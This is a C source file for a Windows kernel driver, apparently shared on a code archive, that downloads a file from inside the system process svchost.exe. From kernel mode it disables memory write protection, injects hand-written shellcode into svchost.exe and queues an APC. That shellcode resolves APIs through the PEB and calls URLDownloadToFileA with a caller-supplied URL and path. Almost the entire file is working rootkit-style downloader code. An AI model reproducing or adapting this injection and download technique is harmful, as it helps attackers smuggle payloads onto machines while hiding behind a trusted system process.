www.pudn.com > uay_source.rar > wget.c


/// 
//	uty@uaty 
/// 
#include  
 
#ifdef DBG 
#define u_DbgPrint(_x_)		\ 
			DbgPrint _x_; 
#else 
#define	u_DbgPrint(_x_)  
#endif 
 
//-------------------------------------------------------------------- 
typedef enum _KAPC_ENVIRONMENT{ 
    OriginalApcEnvironment, 
	AttachedApcEnvironment, 
	CurrentApcEnvironment 
}KAPC_ENVIRONMENT; 
 
typedef struct _KAPC_STATE{ 
	LIST_ENTRY	ApcListHead[2]; 
	PEPROCESS	Process; 
	UCHAR		KernelApcInProgress; 
	UCHAR		KernelApcPending; 
	UCHAR		UserApcPending; 
}KAPC_STATE,*PKAPC_STATE; 
 
typedef	struct _wgetpArA{ 
	PCHAR	szURL; 
	PCHAR	szFileNAme; 
}WGETPARA,*PWGETPARA; 
//-------------------------------------------------------------------- 
NTSTATUS 
uSetTheApc( 
	ULONG			process, 
	ULONG			threAd, 
	ULONG			MAppedAddress, 
	PKEVENT			pEvent, 
	PWGETPARA	pPArA 
	); 
 
VOID  
WorkThreAd( 
	IN PVOID pContext 
	); 
 
VOID 
KernelApcCAllBAck( 
	PKAPC Apc, 
	PKNORMAL_ROUTINE *NormalRoutine, 
	PVOID *NormalContext, 
	PVOID *SystemArgument1, 
	PVOID *SystemArgument2 
	); 
 
VOID 
OnUnloAd( 
	IN PDRIVER_OBJECT DriverObject 
	); 
 
BOOLEAN 
find_threAd( 
	OUT	ULONG	*process, 
	OUT	ULONG	*threAd 
	); 
 
UserWget( 
	PCHAR	szURL, 
	PCHAR	szFileNAme, 
	PVOID	unused 
	); 
 
UserWget_end( 
	VOID 
	); 
 
BOOLEAN 
CheckVersion( 
	VOID 
	); 
 
/* Function prototypes for APCs */ 
VOID 
KeInitializeApc( 
	PKAPC Apc, 
	PKTHREAD Thread, 
	CCHAR ApcStateIndex, 
	PKKERNEL_ROUTINE KernelRoutine, 
	PKRUNDOWN_ROUTINE RundownRoutine, 
	PKNORMAL_ROUTINE NormalRoutine, 
	KPROCESSOR_MODE ApcMode, 
	PVOID NormalContext 
	); 
 
BOOLEAN 
KeInsertQueueApc( 
	PKAPC Apc, 
	PVOID SystemArgument1, 
	PVOID SystemArgument2, 
	UCHAR unknown 
	); 
 
 
/* Function prototypes for AttAch process */ 
NTKERNELAPI VOID  
KeStackAttachProcess( 
		IN PEPROCESS Process, 
		OUT PKAPC_STATE ApcState 
		); 
 
NTKERNELAPI VOID 
KeUnstackDetachProcess( 
	IN PKAPC_STATE ApcState 
	); 
 
//-------------------------------------------------------------------- 
static ULONG		THREADLISTHEAD_OFFSET; 
static ULONG		THREADLISTENTRY_OFFSET; 
static ULONG		IMAGEFILENAME_OFFSET; 
static ULONG		ACTIVEPROCESSLINKS_OFFSET; 
static ULONG		USERAPCPENDING_OFFSET; 
static ULONG		TCB_TEB_OFFSET; 
 
BOOLEAN 
KWget( 
	PCHAR	szURL, 
	PCHAR	szFileNAme 
	) 
{ 
	PWGETPARA			pPArA	= NULL; 
	HANDLE				hThreAd = NULL; 
	NTSTATUS			dwStAtus; 
	if(strlen(szURL)+strlen(szFileNAme) > 98){		//two bytes for '\0' 
		DbgPrint("szURL And szFileNAme is too long,At most 100 bytes\n"); 
		return FALSE; 
	} 
 
	pPArA = ExAllocatePool(PagedPool,sizeof(WGETPARA)); 
	if(pPArA == NULL){ 
		DbgPrint("ExAllocAtePool fAiled\n"); 
		return FALSE; 
	} 
 
	pPArA->szURL			= szURL; 
	pPArA->szFileNAme		= szFileNAme; 
 
	if(FALSE == CheckVersion()){ 
		DbgPrint("os version not supported\n"); 
		return FALSE; 
	} 
 
	dwStAtus = PsCreateSystemThread(&hThreAd, 
									(ACCESS_MASK)0, 
									NULL, 
									(HANDLE)0, 
									NULL, 
									WorkThreAd, 
									pPArA 
									); 
									 
	if (!NT_SUCCESS(dwStAtus)){ 
		DbgPrint("error when creAte the threAd\n"); 
		ExFreePool(pPArA); 
		return FALSE; 
	} 
	return TRUE; 
} 
//-------------------------------------------------------------------- 
BOOLEAN 
CheckVersion( 
	VOID 
	) 
{ 
	RTL_OSVERSIONINFOEXW	osversion = {0}; 
	osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW); 
	 
	RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion); 
	u_DbgPrint(("dwMAjorVersion: %d\n",osversion.dwMajorVersion)); 
	u_DbgPrint(("dwMinorVersion: %d\n",osversion.dwMinorVersion)); 
	u_DbgPrint(("dwBuildNumber: %d\n",osversion.dwBuildNumber)); 
	u_DbgPrint(("wServicePAckMAjor: %d\n",osversion.wServicePackMajor)); 
	u_DbgPrint(("wServicePAckMinor: %d\n",osversion.wServicePackMinor)); 
 
	if(		(osversion.dwMajorVersion == 5)  
		&&	(osversion.dwMinorVersion == 1) 
		&&	(osversion.wServicePackMajor == 1)  
		//&&	(osversion.wServicePackMinor == 0) 
		) 
	{ 
		THREADLISTHEAD_OFFSET			= 0x190; 
		THREADLISTENTRY_OFFSET			= 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works; 
		IMAGEFILENAME_OFFSET			= 0x174; 
		ACTIVEPROCESSLINKS_OFFSET		= 0x88; 
		USERAPCPENDING_OFFSET			= 0x4A; 
		TCB_TEB_OFFSET					= 0x20; 
		return TRUE; 
	} 
	else if(		(osversion.dwMajorVersion == 5)  
		&&	(osversion.dwMinorVersion == 1) 
		&&	(osversion.wServicePackMajor == 2)  
		//&&	(osversion.wServicePackMinor == 0) 
		) 
	{ 
		THREADLISTHEAD_OFFSET			= 0x190; 
		THREADLISTENTRY_OFFSET			= 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works; 
		IMAGEFILENAME_OFFSET			= 0x174; 
		ACTIVEPROCESSLINKS_OFFSET		= 0x88; 
		USERAPCPENDING_OFFSET			= 0x4A; 
		TCB_TEB_OFFSET					= 0x20; 
		return TRUE; 
	} 
	return FALSE; 
} 
 
//PMDL	pMdl = NULL; 
VOID 
WorkThreAd( 
	IN PVOID pContext 
	) 
{ 
	ULONG			process,threAd; 
	PKEVENT			pEvent = NULL; 
	PMDL			pMdl = NULL; 
	PVOID			MAppedAddress = NULL; 
	ULONG			size; 
	KAPC_STATE		ApcStAte; 
	PWGETPARA		pPArA = NULL; 
 
	pPArA = (PWGETPARA)pContext; 
	if (!find_threAd(&process,&threAd)){ 
		DbgPrint("cAnnot find the right threAd\n"); 
		PsTerminateSystemThread(STATUS_SUCCESS); 
	} 
	pEvent = ExAllocatePool(NonPagedPool,sizeof(KEVENT)); 
	if(!pEvent){ 
		DbgPrint("ExAllocatePool(pEvent) fAiled\n"); 
		PsTerminateSystemThread(STATUS_SUCCESS); 
	} 
 
	_asm  
	{  
		CLI //dissable interrupt  
		MOV EAX, CR0 //move CR0 register into EAX  
		AND EAX, NOT 10000H //disable WP bit  
		MOV CR0, EAX //write register back  
	}  
	memcpy((UCHAR*)UserWget_end,pPArA->szURL,strlen(pPArA->szURL)); 
	memset((UCHAR*)((ULONG)UserWget_end+strlen(pPArA->szURL)),0,1); 
	memcpy((UCHAR*)((ULONG)UserWget_end+strlen(pPArA->szURL) + 1),pPArA->szFileNAme,strlen(pPArA->szFileNAme)); 
	memset((UCHAR*)((ULONG)UserWget_end+strlen(pPArA->szURL) + 1 + strlen(pPArA->szFileNAme)),0,1); 
	_asm  
	{  
		MOV EAX, CR0 //move CR0 register into EAX  
		OR EAX, 10000H //enable WP bit  
		MOV CR0, EAX //write register back  
		STI //enable interrupt  
	}  
 
	 
	size = (UCHAR*)UserWget_end - (UCHAR*)UserWget + 100;//最多100个字节的 
	u_DbgPrint(("size: %d\n",size)); 
	pMdl = IoAllocateMdl( 
				UserWget, 
				size, 
				FALSE, 
				FALSE, 
				NULL 
				); 
	if(!pMdl){ 
		ExFreePool (pEvent);  
		DbgPrint("IoAllocateMdl fAiled\n"); 
		PsTerminateSystemThread(STATUS_SUCCESS); 
	} 
	__try{ 
		MmProbeAndLockPages( 
			pMdl, 
			KernelMode, 
			IoWriteAccess 
			); 
	} 
	__except(EXCEPTION_EXECUTE_HANDLER){ 
		IoFreeMdl(pMdl); 
		ExFreePool(pEvent); 
		DbgPrint("MmProbeAndLockPAges fAiled\n"); 
		PsTerminateSystemThread(STATUS_SUCCESS); 
	} 
	u_DbgPrint(("process 0x%x\n",process)); 
	KeStackAttachProcess((PEPROCESS)process,&ApcStAte); 
	__try{ 
		MAppedAddress = MmMapLockedPagesSpecifyCache( 
							pMdl, 
							UserMode, 
							MmCached, 
							NULL, 
							FALSE, 
							NormalPagePriority 
							); 
	} 
	__except(EXCEPTION_EXECUTE_HANDLER){ 
		MmUnlockPages(pMdl); 
		IoFreeMdl(pMdl); 
		ExFreePool(pEvent); 
		DbgPrint("MmMApLockedPagesSpecifyCAche fAiled\n"); 
		PsTerminateSystemThread(STATUS_SUCCESS); 
	} 
	u_DbgPrint(("MAppedAddress: 0x%x\n",MAppedAddress)); 
	if (!MAppedAddress){ 
		KeUnstackDetachProcess(&ApcStAte); 
		MmUnlockPages(pMdl); 
		IoFreeMdl(pMdl); 
		ExFreePool(pEvent); 
		DbgPrint("MmMApLockedPAgesSpecifyCAche fAiled\n"); 
		PsTerminateSystemThread(STATUS_SUCCESS); 
	} 
 
	//reuse his pPArAm,freed in APC->KernelRoutine 
	(ULONG)pPArA->szURL			= (ULONG)MAppedAddress + (ULONG)((UCHAR*)UserWget_end - (UCHAR*)UserWget); 
	(ULONG)pPArA->szFileNAme		= (ULONG)MAppedAddress + (ULONG)((UCHAR*)UserWget_end - (UCHAR*)UserWget) + strlen(pPArA->szURL) + 1 ;  
	 
	KeUnstackDetachProcess(&ApcStAte); 
	KeInitializeEvent(pEvent,NotificationEvent,FALSE); 
 
	uSetTheApc(process,threAd,(ULONG)MAppedAddress,pEvent,pPArA); 
 
	KeWaitForSingleObject( 
		pEvent, 
		Executive, 
		KernelMode, 
		FALSE, 
		NULL 
		); 
	u_DbgPrint(("ok free pEvent pMdl now\n")); 
	ExFreePool(pEvent); 
	MmUnlockPages(pMdl); 
	IoFreeMdl(pMdl); 
	 
 
	PsTerminateSystemThread(STATUS_SUCCESS); 
	DbgPrint("Never be here \n"); 
} 
//-------------------------------------------------------------------- 
NTSTATUS 
uSetTheApc( 
	ULONG			process, 
	ULONG			threAd, 
	ULONG			MAppedAddress, 
	PKEVENT			pEvent, 
	PWGETPARA	pPArA 
	) 
{ 
	NTSTATUS		dwStAtus = STATUS_SUCCESS; 
	PKAPC			pkApc; 
	BOOLEAN			bBool; 
 
 
	*((unsigned char *)threAd + USERAPCPENDING_OFFSET)=1;   ////////////////////////////////////////////// 
	//*((unsigned char *)threAd+0x164)=1;  //both of them works :> 
	pkApc = ExAllocatePool(NonPagedPool,sizeof(KAPC)); 
	if (pkApc == NULL){ 
		DbgPrint("error:ExAllocAtePool\n"); 
		return STATUS_INSUFFICIENT_RESOURCES; 
	} 
	u_DbgPrint(("szURL: 0x%x\n",pPArA->szURL)); 
	KeInitializeApc( 
		pkApc, 
		(PKTHREAD)threAd, 
		OriginalApcEnvironment, 
		(PKKERNEL_ROUTINE)KernelApcCAllBAck, 
		NULL, 
		(PKNORMAL_ROUTINE)MAppedAddress,//UserApcCAllBAck, 
		UserMode, 
		(PVOID)pPArA 
		); 
	bBool = KeInsertQueueApc(pkApc,pEvent,0,0);		//ticky 
	if(bBool == FALSE){ 
		DbgPrint("error:KeInsertQueueApc\n"); 
	} 
 
	return STATUS_SUCCESS; 
} 
//-------------------------------------------------------------------- 
VOID 
KernelApcCAllBAck( 
	PKAPC Apc,  
	PKNORMAL_ROUTINE *NormAlRoutine, 
	IN OUT PVOID *NormAlContext, 
	IN OUT PVOID *SystemArgument1, 
	IN OUT PVOID *SystemArgument2 
	) 
{ 
	PKEVENT			pEvent; 
	PWGETPARA		pPArA; 
 
	u_DbgPrint(("NormAlContext: 0x%x\n",(ULONG)*NormAlContext)); 
	pEvent	= (PKEVENT)*SystemArgument1; 
	KeSetEvent(pEvent,IO_NO_INCREMENT,FALSE); 
	pPArA	= (PWGETPARA)*NormAlContext; 
	*SystemArgument1	= (PVOID)pPArA->szFileNAme; 
	//*SystemArgument2	= (PVOID)pPArA->ulType; 
	*NormAlContext		= (PVOID)pPArA->szURL; 
	u_DbgPrint(("SystemArgument1: 0x%x\n",(ULONG)*SystemArgument1)); 
	//u_DbgPrint(("SystemArgument2: 0x%x\n",(ULONG)*SystemArgument2)); 
	ExFreePool(pPArA);///free the pool AllocAted in KernelMessAgeBox 
 
	u_DbgPrint(("Freeing APC Object\n")); 
	ExFreePool(Apc);    // free the kernel memory 
} 
//-------------------------------------------------------------------- 
BOOLEAN 
find_threAd( 
	OUT	ULONG	*process, 
	OUT	ULONG	*threAd 
	) 
{ 
	ULONG			eproc; 
	ULONG			begin_proc; 
	ULONG			ethreAd; 
	ULONG			begin_threAd; 
 
	PLIST_ENTRY		plist_Active_procs; 
	PLIST_ENTRY		plist_threAd; 
 
/* 
#define IS_SYSTEM_THREAD(thread)                                    \ 
            (((thread)->Tcb.Teb == NULL) ||                         \ 
            (IS_SYSTEM_ADDRESS((thread)->Tcb.Teb))) 
			*/ 
 
	eproc		= (ULONG)PsGetCurrentProcess(); 
	begin_proc	= eproc; 
	while(1){ 
		u_DbgPrint(("%s\n",(CHAR*)(eproc + IMAGEFILENAME_OFFSET))); 
		if (0 == _stricmp((CHAR*)(eproc + IMAGEFILENAME_OFFSET),"svchost.exe")){ 
			break; 
		} 
		else{ 
			plist_Active_procs = (LIST_ENTRY*)(eproc + ACTIVEPROCESSLINKS_OFFSET); 
			eproc = (ULONG) plist_Active_procs->Flink; 
			eproc = eproc - ACTIVEPROCESSLINKS_OFFSET; 
			if(eproc == begin_proc) return FALSE; 
		} 
	} 
	plist_threAd	= (LIST_ENTRY*)(eproc + THREADLISTHEAD_OFFSET); 
	ethreAd			= (ULONG)plist_threAd->Flink; 
	ethreAd			= ethreAd - THREADLISTENTRY_OFFSET; 
	u_DbgPrint(("threAd: 0x%x\n",ethreAd)); 
 
	begin_threAd	= ethreAd; 
	while(1){ 
		//if !IS_SYSTEM_THREAD(threAd) 
		 
 
		u_DbgPrint(("(*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET): 0x%x\n",*(ULONG*)((CHAR*)ethreAd+TCB_TEB_OFFSET))); 
		if( (*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET) != 0)	&& 
            (*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET) <= 0x80000000 ) 
			){ 
			break; 
		} 
		else{ 
			plist_threAd = (LIST_ENTRY*)(ethreAd + THREADLISTENTRY_OFFSET); 
			ethreAd	= (ULONG)plist_threAd->Flink; 
			ethreAd = ethreAd - THREADLISTENTRY_OFFSET; 
			u_DbgPrint(("ethreAd: 0x%x\n",ethreAd)); 
			if(ethreAd == begin_threAd) return FALSE; 
		} 
	} 
	*process	= eproc; 
	*threAd		= ethreAd; 
	return TRUE; 
} 
//-------------------------------------------------------------------- 
__declspec(naked) 
UserWget( 
	PCHAR	szURL, 
	PCHAR	szFileNAme, 
	PVOID	unused 
	) 
{ 
	__asm{ 
		push	ebp 
		mov		ebp, esp 
	} 
	__asm{ 
		pushad 
		sub		esp, 20 //存放得到的函数地址 
		jmp		end 
             
start: 
        pop		edx                    // 指令表起始地址存放在  esp -> edx 
 
		push	ebp//u 保存 下面这段程序用到了ebp 
 
        // ===== 从 PEB 中取得KERNEL32.DLL的起始地址 ===== 
        // 
        // 输入: 
        // edx => 指令表起始地址 (不需要) 
        // 
        // 输出: 
        // eax => kernel32.dll起始地址 
        // edx => 指令表起始地址 
 
        mov		eax, fs:0x30            // PEB  
        mov		eax, [eax + 0x0c]       // PROCESS_MODULE_INFO 
        mov		esi, [eax + 0x1c]		// InInitOrder.flink 
        lodsd 
        mov		eax, [eax+8] 
 
        // ========== 定位GetProcAddress的地址 ========== 
        // 
        // 输入: 
        // eax => kernel32.dll起始地址 
        // edx => 指令表起始地址 
        // 
        // 输出: 
        // ebx => kernel32.dll起始地址 
        // eax => GetProcAddress地址 
        // edx => 指令表起始地址 
 
        mov		ebx, eax							// 取kernel32.dll的起始地址 
        mov		esi, dword ptr [ebx+0x3C]			//u 在e_lfanew中得到pe heAder 
        mov		esi, dword ptr [esi+ebx+0x78]		//u export directory rvA 
        add     esi, ebx					 
        mov		edi, dword ptr [esi+0x20]			//u struct _IMAGE_EXPORT_DIRECTORY 中AddressOfNames; // RVA from base of image 
        add		edi, ebx 
        mov		ecx, dword ptr [esi+0x14]			//u AddressOfFunctions; // RVA from base of image 
        xor		ebp, ebp 
        push    esi 
         
search_GetProcAddress: 
        push    edi 
		push    ecx 
		mov		edi,dword ptr [edi] 
		add		edi,ebx								// 把输出函数名表起始地址存人edi 
		mov		esi,edx								// 指令表起始地址存入esi 
		//mov    ecx,0Eh							// 函数getprocAddress长度为0Eh 
		push    0xE 
		pop		ecx 
		repe    cmps byte ptr [esi],byte ptr [edi] 
        je		search_GetProcAddress_ok 
         
        pop		ecx 
        pop		edi 
        add		edi,4  /// 
        inc		ebp 
        loop	search_GetProcAddress 
 
search_GetProcAddress_ok: 
        pop		ecx    
        pop		edi 
        pop		esi 
        mov		ecx, ebp 
        mov		eax, dword ptr [esi+24h]			//u AddressOfNameOrdinals; // RVA from base of image 
        add		eax, ebx 
        shl		ecx, 1 
        add		eax, ecx 
        xor		ecx, ecx 
        mov		cx,  word ptr [eax] 
        mov		eax, dword ptr [esi+1Ch]			//AddressOfFunctions; // RVA from base of image 
        add		eax, ebx 
        shl		ecx, 2 
        add		eax, ecx 
        mov		eax, dword ptr [eax] 
        add		eax, ebx 
		 
 
		pop		ebp//u 保存 
//-------------------------------------------------------------------- 
 
		// ============ 调用函数解决api地址 ============ 
        // 
        // 输入: 
        // ebx =>kernel32.dll起始地址 
        // eax =>GetProcAddress地址 
        // edx =>指令表起始地址 
        // 
        // 输出: 
        // edi =>函数地址base addr 
        // esi =>指令表当前位置 
        // edx =>GetProcAddress 地址 
 
        mov		edi,edx 
        mov		esi,edi 
        add		esi,0xE						// 0xE 跳过1个字符串"GetProcAddress" 
         
        // ============ 解决kernel32.dll中的函数地址 ============ 
        mov		edx,eax						// 把GetProcAddress 地址存放在edx     
        push    0x1							// 需要解决的函数地址的个数 硬编码可以节省两个字节 
        pop		ecx 
		mov		edi, esp					///////// get some spAce to edi 
        call    locator_api_addr 
		// -------------加载urlmon.dll------------------------ 
		add		esi, 0xd					// 0xd即"urlmon"前面那个字符串的长度,硬编码可以节省两个字节 
        push	edx							// edx是GetProcAddress 地址 
        push    esi							// 字符"urlmon"地址 
        call    dword ptr [edi-4]			// LoadLibraryA/////////???? 
 
		 // ============ 解决urlmon中的函数地址 ============ 
        pop		edx 
        mov		ebx, eax					// 将urlmon起始地址存放在ebx                     
        push    0x1							// 函数个数 
        pop		ecx							// 函数个数 <-这种方式省两个字节  
        call    locator_api_addr 
 
         
		add		esi, 0x13					// URLDownloadToFileA 的长度为0x13		 
//-------------------------------------------------------------------- 
//		 
		push	0	//lpfnCB 
		push	0	//dwResv 
		push	szFileNAme 
		push	szURL 
		push	0 
		call	dword ptr [edi-4] 
		jmp		end_func 
 
//-------------------------------------------------------------------- 
		// ============ 解决api地址的函数 ============ 
        // 
        // 输入参数: 
        // ecx 函数个数 
        // edx GetProcAddress 地址 
        // ebx 输出函数的dll起始地址 
        // esi 函数名表起始地址 
        // edi 保存函数地址的起始地址 
 
locator_api_addr: 
         
locator_space: 
        xor			eax, eax 
        lodsb 
        test		eax, eax                // 寻找函数名之间的空格x00 
        jne			locator_space 
 
        push		ecx 
        push		edx 
 
        push		esi                    // 函数名 
        push		ebx                    // 输出函数的dll起始地址 
        call		edx 
        pop			edx 
        pop			ecx 
        stos		dword ptr [edi] 
        loop		locator_space 
        xor			eax, eax 
        ret 
//-------------------------------------------------------------------- 
 
        // ==================  结束调用 ==================== 
end: 
        call    start 
		__emit 'G' 
		__emit 'e' 
		__emit 't' 
		__emit 'P' 
		__emit 'r' 
		__emit 'o' 
		__emit 'c' 
		__emit 'A' 
		__emit 'd' 
		__emit 'd' 
		__emit 'r' 
		__emit 'e' 
		__emit 's' 
		__emit 's' 
		__emit 0 
		__emit 'L' 
		__emit 'o' 
		__emit 'a' 
		__emit 'd' 
		__emit 'L' 
		__emit 'i' 
		__emit 'b' 
		__emit 'r' 
		__emit 'a' 
		__emit 'r' 
		__emit 'y' 
		__emit 'A' 
		__emit 0 
		__emit 'u' 
		__emit 'r' 
		__emit 'l' 
		__emit 'm' 
		__emit 'o' 
		__emit 'n' 
		__emit 0 
		__emit 'U' 
		__emit 'R' 
		__emit 'L' 
		__emit 'D' 
		__emit 'o' 
		__emit 'w' 
		__emit 'n' 
		__emit 'l'//注意这个是小写的 
		__emit 'o' 
		__emit 'a' 
		__emit 'd' 
		__emit 'T' 
		__emit 'o' 
		__emit 'F' 
		__emit 'i' 
		__emit 'l' 
		__emit 'e' 
		__emit 'A' 
		__emit 0 
 
end_func: 
		add esp,20 
		popad 
	} 
	__asm{ 
		mov esp,ebp 
		pop ebp 
		ret			//don't forget this :> 
	} 
} 
//-------------------------------------------------------------------- 
__declspec(naked) UserWget_end(VOID) 
{ 
	__asm{ 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 //100 
	} 
 
 
} 
//--------------------------------------------------------------------